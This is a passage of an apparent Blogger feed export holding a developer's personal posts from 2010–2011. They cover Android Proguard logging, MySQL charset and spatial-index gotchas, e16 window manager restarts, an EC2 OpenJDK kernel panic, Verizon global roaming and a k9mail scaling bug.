scala.collection.mutable.StringBuilder, but then it might optimize away .append calls that we &lt;i&gt;do&lt;/i&gt; want. What would be ideal would be if we could tell Proguard that calls on the StringBuilder object had no side effects &lt;b&gt;except on that object itself&lt;/b&gt;, so that it could notice that the object was never used and delete it. This is really the sort of thing a compiler should do, though---all the more reason why it would be ideal if a construct like&lt;br /&gt;&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;if(GlobalObject.DEBUG) whatever()&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;...would be dropped by the compiler if GlobalObject.DEBUG were declared both false and final.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;Conclusion: short of hacking a macro processor (read:&lt;tt&gt;sed&lt;/tt&gt;, because I'm lazy) into the build process, there's no easy way to conditionally and &lt;i&gt;completely&lt;/i&gt; excise those debugging statements. I'm going to leave them. Users won't see them, but they will take up (a negligable amount of) space and waste (a negligable number of) cycles.&lt;br /&gt;&lt;br /&gt;* Famed hacker Jamie Zawniski had this complaint decade ago. A StackOverflow poster notes that, to this day, &lt;a href="http://stackoverflow.com/questions/577943/accurracy-of-technical-arguments-in-jwzs-ten-year-old-java-sucks-article-with"&gt;#ifdefDEBUG is still hard to simulate&lt;/a&gt; in Java.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;** Computer storage may be infinite, but mobile phones are small and wireless connections are slow.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-1416065573390154847?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/1416065573390154847/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2011/01/excising-androidutillog-calls-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1416065573390154847'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1416065573390154847'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2011/01/excising-androidutillog-calls-in.html' title='Excising android.util.Log calls when you publish your Android app'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-2643160822991977716</id><published>2010-12-16T23:14:00.000-08:00</published><updated>2010-12-16T23:18:03.089-08:00</updated><title type='text'>"Incorrect string value"</title><content type='html'>If you see an "Incorrect string value" error in Django and you're using MySQL, run&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'your-table-name' &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;and check the &lt;span style="font-family: courier new;"&gt;CHARACTER_SET_NAME&lt;/span&gt; for the column in question.&lt;br /&gt;&lt;br /&gt;If it's not set correctly (e.g., it's latin1 and you're trying to insert utf8), change it with&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;alter table &lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;"&gt;table&lt;/span&gt;&lt;span style="font-family: courier new;"&gt; modify &lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;"&gt;column&lt;/span&gt;&lt;span style="font-family: courier new;"&gt; &lt;/span&gt;&lt;span style="font-style: italic; font-family: courier new;"&gt;type&lt;/span&gt;&lt;span style="font-family: courier new;"&gt; character set utf8;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-2643160822991977716?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/2643160822991977716/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/12/incorrect-string-value.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2643160822991977716'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2643160822991977716'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/12/incorrect-string-value.html' title='&quot;Incorrect string value&quot;'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-6599216769607659627</id><published>2010-12-16T22:25:00.000-08:00</published><updated>2010-12-16T22:28:53.636-08:00</updated><title type='text'>Restarting e16 if you can't use the menu</title><content type='html'>I use the enlightenment window manager, largely because I'm used to it. E16 is pretty stable, but sometimes it gets wedged and needs to be restarted. Fortunately, E retains its state between restarts. Just Mouse-3 the desktop and pick "Restart Enlightenment".&lt;br /&gt;&lt;br /&gt;But what if E is so wedged that you &lt;span style="font-style: italic;"&gt;can't&lt;/span&gt; middle-click the desktop? Suppose, say, the alt-tab menu is on the screen, hogging the focus, and won't go away? You could just kill E, but then you'd have to reopen and reposition all of your windows again.&lt;br /&gt;&lt;br /&gt;Solution: ctrl-alt-f1 to a virtual console, log in, and run eesh, the command-line interface to Enlightenment. Like this:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;$ env DISPLAY=:0 eesh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;restart&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-6599216769607659627?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/6599216769607659627/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/12/restarting-e16-if-you-cant-use-menu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6599216769607659627'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6599216769607659627'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/12/restarting-e16-if-you-cant-use-menu.html' title='Restarting e16 if you can&apos;t use the menu'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-154150147886928595</id><published>2010-12-07T10:25:00.001-08:00</published><updated>2010-12-07T10:26:18.813-08:00</updated><title type='text'>PROTIP: X11 fixed font failure</title><content type='html'>This is the first good explanation I've seen of the infamous X11/vnc error:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Fatal server error:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;could not open default font 'fixed'&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.x.org/wiki/FAQErrorMessages#Ikeepgettingtheerrormessage.3Acouldnotopendefaultfont.27fixed.27Link"&gt;&lt;br /&gt;&lt;br /&gt;http://www.x.org/wiki/FAQErrorMessages#Ikeepgettingtheerrormessage.3Acouldnotopendefaultfont.27fixed.27&lt;span style="display: block;" id="formatbar_Buttons"&gt;&lt;span class=" on down" style="display: block;" id="formatbar_CreateLink" title="Link" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;img src="img/blank.gif" alt="Link" class="gl_link" border="0" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-154150147886928595?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/154150147886928595/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/12/protip-x11-fixed-font-failure.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/154150147886928595'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/154150147886928595'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/12/protip-x11-fixed-font-failure.html' title='PROTIP: X11 fixed font failure'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-1161304273308418294</id><published>2010-11-16T13:39:00.000-08:00</published><updated>2010-11-16T13:40:24.868-08:00</updated><title type='text'>PROTIP (for nerds)</title><content type='html'>If you're not running anything on port 443, forward it to 22. That way, if you find yourself stuck behind a fascist firewall*, you can still ssh to your personal machine.&lt;br /&gt;&lt;br /&gt;* like the one on megabus&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-1161304273308418294?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/1161304273308418294/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/11/protip-for-nerds.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1161304273308418294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1161304273308418294'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/11/protip-for-nerds.html' title='PROTIP (for nerds)'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-3756567331256077675</id><published>2010-11-11T16:32:00.000-08:00</published><updated>2010-11-11T16:45:11.720-08:00</updated><title type='text'>google = win. ec2.micro+ubuntu+openjdk= fail.</title><content type='html'>I tried to install OpenJDK on an Amazon EC2 micro instance. The terminal stopped echoing. The machine wasn't taking new ssh connections. I checked the system log---a kernel panic! Charming. I rebooted. Same deal. I stopped the instance and brought it up a few seconds later, thinking it might send me to a new dom-0 host. Tried the install again. Nope, same issue.&lt;br /&gt;&lt;br /&gt;Then I typed "ec2 micro kernel panic" into Google. Third hit:&lt;br /&gt;&lt;br /&gt;&lt;h3 class="r"&gt;&lt;a href="http://wjlafrance.net/?p=111"&gt;&lt;span class="l"&gt;William's Blog | Like running with scissors, only more dangerous&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;Apparently installing OpenJDK using apt-get on Ubuntu 10.04 on an AWS EC2 Micro instance causes a &lt;em&gt;kernel panic&lt;/em&gt;. I don't know why, and apparently neither ...&lt;br /&gt;&lt;br /&gt;&lt;a href="https://bugs.launchpad.net/ubuntu/+source/linux/+bug/634487"&gt;Here's the official bug report.&lt;/a&gt; The problem has something to do with the VM system. The workaround is to boot any other kind of instance (say, small), install java on that, then shut it down, change it to micro, and boot it. My workarounds would be to use another JRE like cacao or jamvm (too bad neither of them successfully runs the Google Closure Compiler, which was the point of putting Java on the micro instance), or just do the compilation elsewhere.&lt;br /&gt;&lt;br /&gt;Hey, at least Google still works.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-3756567331256077675?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/3756567331256077675/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/11/google-win-ec2microubuntuopenjdk-fail.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/3756567331256077675'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/3756567331256077675'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/11/google-win-ec2microubuntuopenjdk-fail.html' title='google = win. ec2.micro+ubuntu+openjdk= fail.'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-1782070679114519885</id><published>2010-10-29T07:38:00.000-07:00</published><updated>2010-10-29T07:51:23.062-07:00</updated><title type='text'>Thinking before typing (MySQL spatial indices gotcha)</title><content type='html'>&lt;blockquote style="background-color: rgb(230, 230, 230); border: 1px solid rgb(0, 0, 0); padding: 5px;"&gt;"SQL, Lisp, and Haskell are the only programming languages that I’ve seen where one spends more time thinking than typing." --&lt;a href="http://blogs.law.harvard.edu/philg/2005/03/page/2/"&gt;Philip Greenspun&lt;/a&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;MySQL, I just learned, has a &lt;span style="font-style: italic;"&gt;geometry&lt;/span&gt; data type and supports R-tree indices, which could be very helpful for a new project I'm exploring. I wanted to combine a geometric lookup with a temporal lookup, but discovered that the naive way of doing so has some pitfalls.&lt;br /&gt;&lt;br /&gt;Here was idea #1:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;create table gt4 (g point not null, t datetime not null, spatial index(g), index(t), index(t,g));&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;If I put a few sample values into that table:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;insert into gt4 (g,t) values (GeomFromText('Point(8 8)'), '2008-01-01 11:55');&lt;br /&gt;insert into gt4 (g,t) values (GeomFromText('Point(81 80)'), '2009-01-01 11:55');&lt;br /&gt;insert into gt4 (g,t) values (GeomFromText('Point(1 0)'), '2008-01-01 11:55');&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;...it worked as expected:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&gt; select t, AsText(g) from gt4 where MBRContains(GeomFromText('Polygon((0 0,  31 0,  31 16,  0 16,  0 0))'),g);&lt;br /&gt;+------+------------+&lt;br /&gt;| t    | AsText(g)  |&lt;br /&gt;+------+------------+&lt;br /&gt;|   10 | POINT(8 8) |&lt;br /&gt;|   10 | POINT(1 0) |&lt;br /&gt;+------+------------+&lt;br /&gt;2 rows in set (0.00 sec)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;But, if I were to make a very small change---which is to say, reversing the arguments of the last index()...&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;create table gt5 (g point not null, t datetime not null, spatial index(g), index(t), index(g,t));&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;If we reinsert the same values, things seem to work:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;insert into gt5 (g,t) values (GeomFromText('Point(8 8)'), '2008-01-01 11:55');&lt;br /&gt;insert into gt5 (g,t) values (GeomFromText('Point(81 80)'), '2009-01-01 11:55');&lt;br /&gt;select t, AsText(g) from gt5 where MBRContains(GeomFromText('Polygon((0 0,  31 0,  31 16,  0 16,  0 0))'),g);&lt;br /&gt;+---------------------+------------+&lt;br /&gt;| t                   | AsText(g)  |&lt;br /&gt;+---------------------+------------+&lt;br /&gt;| 2008-01-01 11:55:00 | POINT(8 8) |&lt;br /&gt;+---------------------+------------+&lt;br /&gt;1 row in set (0.00 sec)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;But if we add that last row...&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;insert into gt5 (g,t) values (GeomFromText('Point(1 0)'), '2009-01-01 11:55');&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Then select...&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&gt; select t, AsText(g) from gt5 where MBRContains(GeomFromText('Polygon((0 0,  31 0,  31 16,  0 16,  0 0))'),g);&lt;br /&gt;Empty set (0.00 sec)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Say &lt;span style="font-style: italic;"&gt;what?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;MySQL uses a different index in each case. For table gt4, it picks the spatial index:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;mysql&gt; show create table gt4\G&lt;br /&gt;*************************** 1. row ***************************&lt;br /&gt;     Table: gt4&lt;br /&gt;Create Table: CREATE TABLE `gt4` (&lt;br /&gt;`g` point NOT NULL,&lt;br /&gt;`t` int(11) DEFAULT NULL,&lt;br /&gt;SPATIAL KEY `g` (`g`),&lt;br /&gt;KEY `t` (`t`),&lt;br /&gt;KEY `t_2` (`t`,`g`(25))&lt;br /&gt;) ENGINE=MyISAM DEFAULT CHARSET=latin1&lt;br /&gt;1 row in set (0.00 sec)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mysql&gt; explain select t, AsText(g) from gt4 where MBRContains(GeomFromText('Polygon((0 0,  31 0,  31 16,  0 16,  0 0))'),g)\G&lt;br /&gt;*************************** 1. row ***************************&lt;br /&gt;         id: 1&lt;br /&gt;select_type: SIMPLE&lt;br /&gt;      table: gt4&lt;br /&gt;       type: range&lt;br /&gt;possible_keys: g&lt;br /&gt;        key: g&lt;br /&gt;    key_len: 34&lt;br /&gt;        ref: NULL&lt;br /&gt;       rows: 2&lt;br /&gt;      Extra: Using where&lt;br /&gt;1 row in set (0.00 sec)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Whereas for gt5, it uses the combined index:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;mysql&gt; show create table gt5\G&lt;br /&gt;*************************** 1. row ***************************&lt;br /&gt;     Table: gt5&lt;br /&gt;Create Table: CREATE TABLE `gt5` (&lt;br /&gt;`g` point NOT NULL,&lt;br /&gt;`t` datetime NOT NULL,&lt;br /&gt;SPATIAL KEY `g` (`g`),&lt;br /&gt;KEY `t` (`t`),&lt;br /&gt;KEY `g_2` (`g`(25),`t`)&lt;br /&gt;) ENGINE=MyISAM DEFAULT CHARSET=latin1&lt;br /&gt;1 row in set (0.00 sec)&lt;br /&gt;&lt;br /&gt;mysql&gt; explain select t, AsText(g) from gt5 where MBRContains(GeomFromText('Polygon((0 0,  31 0,  31 16,  0 16,  0 0))'),g)\G&lt;br /&gt;*************************** 1. row ***************************&lt;br /&gt;         id: 1&lt;br /&gt;select_type: SIMPLE&lt;br /&gt;      table: gt5&lt;br /&gt;       type: range&lt;br /&gt;possible_keys: g,g_2&lt;br /&gt;        key: g_2&lt;br /&gt;    key_len: 27&lt;br /&gt;        ref: NULL&lt;br /&gt;       rows: 1&lt;br /&gt;      Extra: Using where&lt;br /&gt;1 row in set (0.00 sec)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The documentation explains that combined indices concatenate the columns together. Apparently, this doesn't play nicely with geometry queries.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-1782070679114519885?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/1782070679114519885/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/10/thinking-before-typing-mysql-spatial.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1782070679114519885'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1782070679114519885'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/10/thinking-before-typing-mysql-spatial.html' title='Thinking before typing (MySQL spatial indices gotcha)'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-792051822970863966</id><published>2010-10-17T00:53:00.000-07:00</published><updated>2010-10-17T08:43:00.337-07:00</updated><title type='text'>International roaming with Verizon Wireless</title><content type='html'>Verizon Wireless's may have the best coverage in the U.S., but,  regrettably, its handsets use a radio technology that hasn't caught on  in most of the world. In most foreign countries, it's impossible to roam  with a Verizon CDMA handset. I wanted to continue to receive email on  my phone while abroad for a few weeks. Options included buying a GSM  phone before I arrived and purchasing local SIM cards, buying a GSM  phone in-country and purchasing local SIM cards,  or buying a global  phone and a global data plan from AT&amp;amp;T. Happily, just before I left I  happened upon a Verizon program designed exactly for this: the  GlobalEmail program coupled with the amazingly under-advertised  &lt;a href="http://b2b.vzw.com/international/Global_Travel/index.html"&gt;Global Travel&lt;/a&gt; program.&lt;br /&gt;&lt;br /&gt;GlobalEmail  gives you flat-rate unlimited data plan while traveling. Global Travel  loans you a handset that works abroad. Verizon markets a small number of  phones that include both GSM and CDMA radios. In the Global Travel  program, they will FedEx you one for your trip which you return after  arriving back in the U.S. You can keep your number, so there's no need  to set up call forwarding, as you would if you bought foreign SIM cards.  (Google Voice won't forward to international numbers, but I assume that  there exist paid services that will.) Voice calls are quite &lt;a href="http://b2b.vzw.com/international/Global_Phone/plans_coverage.html"&gt;expensive&lt;/a&gt;  ($2/min and up for all but a small handful of countries), although  Verizon offers a roughly 20% discount if you pay an extra $5 per month. I  might have had to take a long call or two, so I opted for this.&lt;br /&gt;&lt;br /&gt;Unfortunately,  none of Verizon's global phones run Android. I received a Samsung Saga,  which runs Windows Mobile 6.1. The Saga was a candybar-format phone  with an amazing array of input methods: a physical keyboard, a touchpad  that toggled between moving a mouse cursor and scrolling through  interface widgets, and a touchscreen supporting both stylus and  (imprecise) fingertip input. The phone was never quite as easy-to-use as  the Droid with its paltry two input methods (keyboard and fingertip  touchscreen). The UI was also not as slick. I never got the hang of  scrolling in large web pages. But it was certainly serviceable: I  managed to book lodging, read news, answer email, send and receive  Google Voice SMS messages, and even make the occasional phone call.&lt;br /&gt;&lt;br /&gt;The  chief inconvenience of the program was setting up the phone.  Microsoft's email client was a bit under-documented. I had to Google to  learn that to override the default ports for mail transport, one had to  use server:port notation. Mail-checking and web-surfing were noticeably  slower than they were on the Droid, although this may have been a  function of the networks I used (mostly Vodafone). I ran into a  surprising number of total dead spots, most of which were along train  routes in Greece.&lt;br /&gt;&lt;br /&gt;Some warts included the USB cable, which  confusingly deactivated the phone' radio when I plugged it into a  Windows machine. The GPS module didn't feed data to Google Maps (or  maybe I never set it up properly), so I was usually stuck with "your  location within 500 meters" reports. The built-in browser did not  identify itself as (or perhaps Wikipedia did not notice it as) a mobile  browser, so Wikipedia sent me to its bandwidth-hogging conventional site  instead of its bandwidth-sipping mobile site, as it would on the Droid.  Battery life was miserable, but no worse than it was on the Droid. (An  unfair comparison: I have far more background monitoring processes  running on the droid.) It was really hard to scroll large web pages:  switching to mouse mode and click-dragging with the cursor seemed to  work, but if a page got stuck reloading, you would have to wait a while.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The good&lt;/span&gt;:  Very light. Nice form factor---you can use the physical keyboard and  even dial one-handed and perhaps without looking at the phone. Worked as  advertised. I sent 114 messages with the phone.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The bad&lt;/span&gt;:  Confusing input methods. Occasionally sluggish UI. Took ages to set up  two email accounts. Non-working (or very well-hidden) GPS. No compass,  so Google Maps showed my location as a dot, not as an arrow.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The strange&lt;/span&gt;: A tiny mirror on the back of the phone, perhaps for composing self-portraits with the camera.&lt;br /&gt;&lt;br /&gt;If  you're a Verizon customer and are visiting a GSM country, this program  is highly recommended. If you plan to travel to GSM countries often,  however, it may be worthwhile to buy a global phone and keep it, to  avoid having to set-up the phone each time.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-792051822970863966?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/792051822970863966/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/10/international-roaming-with-verizon.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/792051822970863966'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/792051822970863966'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/10/international-roaming-with-verizon.html' title='International roaming with Verizon Wireless'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-2802881202889574225</id><published>2010-09-10T20:33:00.000-07:00</published><updated>2010-09-10T20:45:26.106-07:00</updated><title type='text'>The Incredible Shrinking Android</title><content type='html'>I've been porting the &lt;a href="http://jbarillari.blogspot.com/2010/08/forget-me-never.html"&gt;forget-me-never&lt;/a&gt; app to Android. To avoid reinventing the wheel, I copied its mail-account-configuration and mail-fetching functions from &lt;a href="http://code.google.com/p/k9mail"&gt;k9mail&lt;/a&gt;. They worked just fine, except for one odd problem: when I used the account-configuration wizard, every time I advanced from screen to screen, the widgets got smaller and smaller. If I toggled back and forth between two pages, I could get them to shrink to the point where the text was completely unreadable.&lt;br /&gt;&lt;br /&gt;Strangely, this only happened on the Droid -- it didn't happen in the emulator. (One difference might be that the emulator was running Android 2.0.1 and the Droid was running 2.2.)&lt;br /&gt;&lt;br /&gt;I isolated the offending code by the time-honored technique of shotgun debugging: removing everything from the program until the problem went away, then adding thing until I found the culprit. I had thrown away just about everything when I landed on this code in K9Activity.java.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;  public void onCreate(Bundle icicle, boolean useTheme)&lt;br /&gt;  {&lt;br /&gt;      setLanguage(this, K9.getK9Language());&lt;br /&gt;      if (useTheme)&lt;br /&gt;      {&lt;br /&gt;          setTheme(K9.getK9Theme());&lt;br /&gt;      }&lt;br /&gt;      super.onCreate(icicle);&lt;br /&gt;      setupFormats();&lt;br /&gt;&lt;br /&gt;      // Gesture detection&lt;br /&gt;      gestureDetector = new GestureDetector(new MyGestureDetector());&lt;br /&gt;&lt;br /&gt;  }&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Commenting out setLanguage fixed the problem. That was odd, I thought, what would i18n have to do with screen scaling? Here's setLanguage:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;public static void setLanguage(Context context, String language)&lt;br /&gt;   {&lt;br /&gt;       Locale locale;&lt;br /&gt;       if (language == null || language.equals(""))&lt;br /&gt;       {&lt;br /&gt;           locale = Locale.getDefault();&lt;br /&gt;       }&lt;br /&gt;       else if (language.length() == 5 &amp;amp;&amp;amp; language.charAt(2) == '_')&lt;br /&gt;       {&lt;br /&gt;           // language is in the form: en_US&lt;br /&gt;           locale = new Locale(language.substring(0, 2), language.substring(3));&lt;br /&gt;       }&lt;br /&gt;       else&lt;br /&gt;       {&lt;br /&gt;           locale = new Locale(language);&lt;br /&gt;       }&lt;br /&gt;       Configuration config = new Configuration();&lt;br /&gt;       config.locale = locale;&lt;br /&gt;       context.getResources().updateConfiguration(config,&lt;br /&gt;               context.getResources().getDisplayMetrics());&lt;br /&gt;   }&lt;br /&gt;&lt;/pre&gt;The last line is the key. It appears to retrieve a DisplayMetrics object from the context (whatever is subclassing K9Activity, in this case) and then passes it back to the context a second time. Somewhere in that reapplication, a scaling factor is getting applied iteratively, because each time a new actvitiy opens, onCreate gets invoked and the widgets get smaller.&lt;br /&gt;&lt;br /&gt;I don't know if this is a bug in the k9mail trunk or just an odd interaction with my phone---I'm using an older version of k9mail that I patched for my purposes and am disinclined to replace it just to test this.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-2802881202889574225?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/2802881202889574225/comments/default' title='Post Comments'/><link rel='replies' 